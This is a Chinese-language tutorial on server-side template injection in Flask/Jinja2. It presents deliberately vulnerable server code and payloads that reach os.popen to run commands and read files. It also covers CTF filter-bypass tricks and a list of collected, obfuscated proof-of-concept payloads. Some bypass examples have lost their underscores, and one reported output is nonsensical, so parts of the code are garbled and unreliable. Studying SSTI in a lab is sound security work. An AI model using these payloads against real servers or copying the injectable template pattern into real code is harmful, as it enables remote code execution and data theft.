SSTI入门

ssti漏洞原理

服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
目前主流模板引擎有
python框架 jinja2 mako tornado django
PHP框架 smarty twig
java框架 jade velocity

SSTI实战

环境搭建

python3.6 + flask + Windows10
IDE:pycharm

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
from urllib import parse

app = Flask(__name__)
@app.route('/test', methods=['GET', 'POST'])
def test():
a = parse.unquote(request.url)
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(a)

return render_template_string(template)


if __name__ == '__main__':
app.debug = True
app.run()

ps:参考其他博客搭建时并不能起到预期的注入效果。
原因是没有对url进行解码
运行脚本后,若成功会显示如下代码:

1
2
3
4
5
* Debug mode: on
* Restarting with stat
* Debugger is active!
* Debugger PIN: 333-327-733
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

接下来访问http://127.0.0.1:5000/ 就可以进行注入实战了。

注入实战

从后端代码我们可以发现,开发者直接将用户输入拼接到代码中,这一行为直接导致了SSTI漏洞。
尝试访问http://127.0.0.1:5000/?test=20
浏览器返回结果为
test
这也就应证了SSTI漏洞的存在,服务器运行了用户的输入。
接下来,我们就可以利用python的函数来进行文件读取或者其他操作。
例如如下payload可以执行dir操作(windows系统)

1
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()}}

payload的作用相当python中的

1
print(os.popen('dir').read())

其大致含义为
""是空字符串,"".__class__为字符串类型,__bases[]为其父类,即<object>,__subclass__是object的所有子类,其中就有os类,之后的payload就是调用os的方法进行操作

我们也可以这样读取文件

1
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('type app.py').read()}}

相当于

1
print(os.popen('type app.py').read())

浏览器返回结果为
test

ctf中的一些绕过tips

ctf中不可能直接这样把漏洞暴露给你,一定会加一些过滤和干扰

过滤[]等括号

使用gititem绕过。
如原poc

1
{{"".class.bases[0]}}

绕过后

1
{{"".class.bases.getitem(0)}}

过滤了subclasses,拼凑法

原poc

1
{{"".class.bases[0].subclasses()}}

绕过

1
{{"".class.bases[0]'subcla'+'sses'}}

过滤class

使用session

poc

1
{{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[128]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

1
{{session['__cla'+'ss__'].__mro__[12]}}

或者

1
{{request['__cl'+'ass__'].__mro__[12]}}

timeit姿势

1
2
3
4
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
import platform
print platform.popen('dir').read()

收藏的一些poc

1
2
3
4
5
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

还有就可以参考一下P师傅的博客

参考资料

flask之ssti模版注入从零到入门
服务端模板注入攻击(SSTI)之浅析